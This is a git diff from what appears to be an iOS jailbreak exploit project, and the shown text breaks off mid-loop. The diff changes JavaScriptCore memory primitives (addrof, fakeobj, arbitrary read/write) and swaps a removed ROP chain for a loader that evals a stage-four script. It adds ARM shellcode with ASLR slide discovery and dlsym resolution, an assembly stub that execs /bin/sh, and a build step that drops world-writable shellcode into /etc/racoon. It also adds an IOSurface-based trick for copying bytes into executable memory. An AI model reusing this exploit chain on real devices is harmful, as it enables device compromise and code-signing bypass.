jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); - printf("dead?\n"); - - printf("%x\n", jsobj_addr); -// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); - victim.target = parent; - printf("%x\n", read_u32(jsobj_addr + 0x18)); -// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10)); -// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); - - /* - UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL" - message:@"Dee dee doo doo." - delegate:self - cancelButtonTitle:@"OK" - otherButtonTitles:nil]; - [alert show]; - */ - - return; - - var rop_buf = new Array(); - var nop = (0x781a | 1) + slid; - var zero_arr = [].slice.call(u32_to_u8x4(0)); - var nop_arr = [].slice.call(u32_to_u8x4(nop)); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(nop); - for (var i = 0; i < 0x40000; i++) { - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(nop); - if (i % 0x1000 == 0) { - printf("%x\n", i); + if (options["sleep_spin"] === true) { + while (1) { + sleep(3600); } } - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0); - rop_buf.push(0x41414141); - printf("gen'd buf\n"); + var stage4_bin = malloc(0x400000); -// printf("%s\n", rop_buf[0].toString(16)); - - printf("exec'ing\n"); - exec_rop(rop_buf); - printf("done\n"); + var fd = open("/var/root/stage4.js", O_RDONLY, 0); + var bytes_read = read(fd, stage4_bin, 0x400000); + var stage4_bin_buf = read_buf(stage4_bin, bytes_read); + var stage4_js_str = ""; + for (var i = 0; i < stage4_bin_buf.length; i++) { + stage4_js_str += String.fromCharCode(stage4_bin_buf[i]); + } -// var tfp0 = get_kernel_task(); + printf("stage4 time baby\n"); + eval(stage4_js_str); -// printf("tfp0=%x\n", tfp0); + exit(main()); return; - - var i = 0; - while (true) { - syslog(LOG_SYSLOG, "get rekt from jsc %d (slide=%x)\n", i, slide); - sleep(0); - i++; - } - - printf("still alive\n"); }; diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index e38026f..a581c91 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -403,7 +403,7 @@ function scall() { args_to_pass.push(sptr(arguments[i])); } else { args_to_pass.push(arguments[i]); - if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000) && (i == 1 || i == 3)) { + if ((arguments[i] & 0xffff0000 == 0xffff0000 || arguments[i] & 0xffff0000 == 0xfffe0000)/* && (i == 2 || i == 4)*/) { force_callnarg = true; } } diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index 633a082..0c03090 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -336,7 +336,6 @@ function fakeobj(addy) { function leak_vec(arr) { var addy = addrof(arr); - printf("%x\n", addy); return read_u32(addy + VECTOR_OFFSET); } @@ -345,6 +344,4 @@ function setup_fancy_rw() { write_u32(0x422290, 0x0); fancy_rw = true; - - printf("%08x\n", u8x4_to_u32([parent[0x5000], parent[0x5001], parent[0x5002], parent[0x5003]])); } diff --git a/src/native/payload.s b/src/native/payload.s new file mode 100644 index 0000000..c9fca88 --- /dev/null +++ b/src/native/payload.s @@ -0,0 +1,6 @@ + .align 2 + .globl main + +main: + mov r0, #0x420 + bx r0 diff --git a/tools/build_native.sh b/tools/build_native.sh index 6edac97..2290017 100755 --- a/tools/build_native.sh +++ b/tools/build_native.sh @@ -20,10 +20,14 @@ gcc defines.c -o bin/defines --std=c99 -marm ldid -S bin/defines rm shc/bin/shellcode -gcc shc/shellcode.c -o shc/bin/shellcode --std=c99 -marm -ffreestanding -c -fPIC +gcc shc/shellcode.c -o shc/bin/shellcode.o --std=c99 -marm -ffreestanding -fno-common -Os -fomit-frame-pointer -fPIC -c -static #ldid -S shc/bin/shellcode -otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin +#otool -t shc/bin/shellcode -X | cut -d " " -f 2- | tr -d "\n" | xxd -r -ps > shc/bin/shellcode.bin + +objcopy -O binary shc/bin/shellcode.o shc/bin/shellcode.bin +cp shc/bin/shellcode.bin /etc/racoon/ +chmod 777 /etc/racoon/shellcode.bin rm bin/jit_all_the_things gcc jit_all_the_things.c -o bin/jit_all_the_things --std=c99 -marm -fPIC diff --git a/tools/defines.c b/tools/defines.c index 4c499b3..44edc28 100644 --- a/tools/defines.c +++ b/tools/defines.c @@ -15,6 +15,9 @@ void fuck(char* s) { printf("var %s_addr = 0x%08x;\n", s, dlsym_cf(s)); } +extern uint32_t bootstrap_port; + + int main(int argc, char* argv[]) { printf("#define PRINTF_ADDR 0x%x\n", dlsym(RTLD_DEFAULT, "printf")); // printf("%x %x %x %x %x %x %x %x\n", RTLD_NOW, dlsym_cf("kCFTypeDictionaryKeyCallBacks"), 0x41414141);//, &kCFTypeDictionaryValueCallBacks, kCFNumberSInt32Type); @@ -24,5 +27,6 @@ int main(int argc, char* argv[]) { // fuck("kCFNumberSInt32Type"); fuck("CFDictionarySetValue"); fuck("CFNumberCreate"); + printf("%x %x %x %x %x\n", SEEK_SET, SEEK_CUR, SEEK_END, RTLD_DEFAULT, bootstrap_port); return 0; } diff --git a/tools/envrun.s b/tools/envrun.s new file mode 100644 index 0000000..26752a4 --- /dev/null +++ b/tools/envrun.s @@ -0,0 +1,112 @@ + .cstring + .align 2 +LC0: + .ascii "SHELL=/bin/sh\0" + .align 2 +LC1: + .ascii "USER=mobile\0" + .align 2 +LC2: + .ascii "HOME=/var/mobile\0" + .align 2 +LC3: + .ascii "XPC_FLAGS=0x0\0" + .align 2 +LC4: + .ascii "XPC_SERVICE_NAME=0\0" + .align 2 +LC5: + .ascii "LOGNAME=mobile\0" + .align 2 +LC6: + .ascii "PATH=/usr/bin:/bin:/usr/sbin:/sbin\0" + .align 2 +LC7: + .ascii "__CF_USER_TEXT_ENCODING=0x1F5:0:0\0" + .const_data + .align 2 +_C.2.2397: + .long LC0 + .long LC1 + .long LC2 + .long LC3 + .long LC4 + .long LC5 + .long LC6 + .long LC7 + .long 0 + .cstring + .align 2 +LC8: + .ascii "/bin/sh\0" + .const_data + .align 2 +_C.1.2396: + .long LC8 + .long 0 + .text + .align 2 + .globl _main +_main: + @ args = 0, pretend = 0, frame = 52 + @ frame_needed = 1, uses_anonymous_args = 0 + stmfd sp!, {r4, r7, lr} + add r7, sp, #4 + sub sp, sp, #52 + str r0, [sp, #4] + str r1, [sp, #0] + ldr r3, L7 +L2: + add r3, pc, r3 + ldmia r3, {r3-r4} + str r3, [sp, #44] + str r4, [sp, #48] + ldr r3, L7+4 +L3: + add r3, pc, r3 + add lr, sp, #8 + mov ip, r3 + ldmia ip!, {r0, r1, r2, r3} + stmia lr!, {r0, r1, r2, r3} + ldmia ip!, {r0, r1, r2, r3} + stmia lr!, {r0, r1, r2, r3} + ldr r3, [ip, #0] + str r3, [lr, #0] + add ip, sp, #8 + ldr r3, L7+8 +L4: + add r3, pc, r3 + mov r0, r3 + ldr r3, L7+12 +L5: + add r3, pc, r3 + mov r1, r3 + mov r2, #0 + mov r3, ip + bl L_execle$stub + mov r3, #0 + mov r0, r3 + sub sp, r7, #4 + ldmfd sp!, {r4, r7, pc} + .p2align 2 +L8: + .align 2 +L7: + .long _C.1.2396-8-(L2) + .long _C.2.2397-8-(L3) + .long LC8-8-(L4) + .long LC8-8-(L5) + .section __TEXT,__picsymbolstub4,symbol_stubs,none,16 + .align 2 +L_execle$stub: + .indirect_symbol _execle + ldr ip, L_execle$slp +L1$scv: add ip, pc, ip + ldr pc, [ip, #0] +L_execle$slp: + .long L_execle$lazy_ptr - (L1$scv + 8) + .lazy_symbol_pointer +L_execle$lazy_ptr: + .indirect_symbol _execle + .long dyld_stub_binding_helper + .subsections_via_symbols diff --git a/tools/shc/shellcode.c b/tools/shc/shellcode.c index 011b5cc..8c725a5 100644 --- a/tools/shc/shellcode.c +++ b/tools/shc/shellcode.c @@ -1,24 +1,65 @@ +#pragma optimize("", off) + /* * native C shellcode */ typedef unsigned int uint32_t; +#define MAX_SLIDE 0x3 +#define MIN_SLIDE 0x1 +#define UNSLID_BASE 0x4000 +#define RESERVE_ADDR 0x1a0000 +#define RTLD_DEFAULT 0xfffffffe +#define LOG_SYSLOG 0x28 + //#define PRINTF_ADDR 0x2054a3b9 //#define BASE_ADDR 0x42000000 +#define printf(...) do { \ + uint32_t _get_our_slide(void); \ + uint32_t (*__get_our_slide)(void) = &_get_our_slide; \ + uint32_t __slid_base = 0x4000 + (__get_our_slide() << 12); \ + uint32_t __shc_slide = *(uint32_t*)(RESERVE_ADDR + __slid_base - 0x4000 + 20); \ + uint32_t __dlsym_addy = *(uint32_t*)(RESERVE_ADDR + __slid_base - 0x4000 + 24); \ + void* (*__dlsym)(void* handle, const char* symbol) = __dlsym_addy + __shc_slide; \ + int (*__printf)(char* s, ...) = (int (*)(char*, ...))__dlsym(RTLD_DEFAULT, "printf"); \ + __printf(__VA_ARGS__); \ +} while (0) + +#define syslog(...) do { \ + uint32_t _get_our_slide(void); \ + uint32_t (*__get_our_slide)(void) = &_get_our_slide; \ + uint32_t __slid_base = 0x4000 + (__get_our_slide() << 12); \ + uint32_t __shc_slide = *(uint32_t*)(RESERVE_ADDR + __slid_base - 0x4000 + 20); \ + uint32_t __dlsym_addy = *(uint32_t*)(RESERVE_ADDR + __slid_base - 0x4000 + 24); \ + void* (*__dlsym)(void* handle, const char* symbol) = __dlsym_addy + __shc_slide; \ + void (*__syslog)(int, char* s) = (void (*)(int, char*))__dlsym(RTLD_DEFAULT, "syslog"); \ + __syslog(__VA_ARGS__); \ +} while (0) + void entry(void) { - *(uint32_t*)0x69696969 = (uint32_t)0x1; - /* - uint32_t dlsym_addr = *(uint32_t*)BASE_ADDR; - void* (*dlsym)(void* handle, char* s) = (void* (*)(void*, char*))dlsym_addr; - void (*abort)(void) = dlsym(0xfffffffe, "abort"); - abort();*/ + int i = 0; + uint32_t _get_our_slide(void); + uint32_t (*get_our_slide)(void) = &_get_our_slide; + while (i < 0x100) { + __asm__ volatile("nop"); + i++; + } + printf("we out here\n"); + printf("gos=%x %x\n", get_our_slide, &i); + printf("hello from native C, i=%d, slide = 0x%x\n", i, get_our_slide()); + syslog(LOG_SYSLOG, "we out here in native C"); + *(uint32_t*)0x41414141 = i; } -/* -void shellcode_main(void) { - uint32_t puts_addr = *(uint32_t*)BASE_ADDR; - int (*puts)(char* s) = (int (*)(char* s))puts_addr; - puts("Hello from shellcode!\n"); -}*/ \ No newline at end of file +uint32_t _get_our_slide(void) { + uint32_t slide = MAX_SLIDE; +// int (*printf)(char* s, ...) = 0x24da63b9; +// printf("second function\n"); + for (slide = MAX_SLIDE; slide >= MIN_SLIDE; slide--) { + if (*(uint32_t*)(UNSLID_BASE + (slide << 12)) == 0xfeedface) { + return slide; + } + } +} \ No newline at end of file diff --git a/tools/testlol.c b/tools/testlol.c index fa0c1d9..62dd465 100755 --- a/tools/testlol.c +++ b/tools/testlol.c @@ -2,6 +2,7 @@ #include #include #include +#include //#include //#include @@ -122,6 +123,9 @@ struct test { }; int main(int argc, char* argv[]) { + printf("%x\n", dlopen("/System/Library/PrivateFrameworks/GameCenter.framework/GameCenter", RTLD_NOW)); + return; + #if 0 struct test d; d.a = 1; diff --git a/work/cs935 (3).c b/work/cs935 (3).c new file mode 100644 index 0000000..446d16d --- /dev/null +++ b/work/cs935 (3).c @@ -0,0 +1,133 @@ +// +// cs935.c +// cs935 +// +// Created by tihmstar on 12.05.22. +// + +#include "cs935.h" +#include +#import +#import +#include +#include +#include +#include +#include +#include + +kern_return_t mach_vm_remap(vm_map_t target_task, mach_vm_address_t *target_address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src_task, mach_vm_address_t src_address, boolean_t copy, vm_prot_t *cur_protection, vm_prot_t *max_protection, vm_inherit_t inheritance); +static CFStringRef *my_kIOSurfaceBytesPerRow; +static CFStringRef *my_kIOSurfaceWidth; +static CFStringRef *my_kIOSurfaceHeight; +static CFStringRef *my_kIOSurfacePixelFormat; +static uint32_t (*my_IOSurfaceAcceleratorCreate)(CFAllocatorRef allocator, int type, void *outAccelerator); +static void *(*my_IOSurfaceCreate)(CFDictionaryRef properties); +static uint32_t (*my_IOSurfaceAcceleratorTransferSurface)(void *accelerator, void *source, void *dest, CFDictionaryRef, void *); + + +uint32_t data[0x100] = { + 0x1000//size of executable code mapped R-X, everything after is RW- +}; + +int testcode(int a, int b); + + +asm(".align 4"); +int doAdd(int a, int b){ + return a+b; +} +int end_doAdd(){ + return 0; +} + + +void *getData(){ + //first prepare data + uint8_t *start = (uint8_t*)(((uint64_t)doAdd) & ~1); + uint8_t *end = (uint8_t*)end_doAdd; + memcpy(&data[1], start, end-start); + + return data; +} + +void *memcpy_exec(void *dst, void*src, size_t size){ + //setup + CFMutableDictionaryRef dict = NULL; + void* accel = 0; + { + int width = PAGE_SIZE / (16*4); + int height = 16; + int pitch = width*4; + char pixelFormat[4] = {'A','R','G','B'}; + dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + CFDictionarySetValue(dict, *my_kIOSurfaceBytesPerRow, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &pitch)); + CFDictionarySetValue(dict, *my_kIOSurfaceWidth, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &width)); + CFDictionarySetValue(dict, *my_kIOSurfaceHeight, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &height)); + CFDictionarySetValue(dict, *my_kIOSurfacePixelFormat, CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, pixelFormat)); + assert(my_IOSurfaceAcceleratorCreate(kCFAllocatorDefault, 0, &accel) == KERN_SUCCESS); + } + + //transfer pages + for (uint32_t i=0; i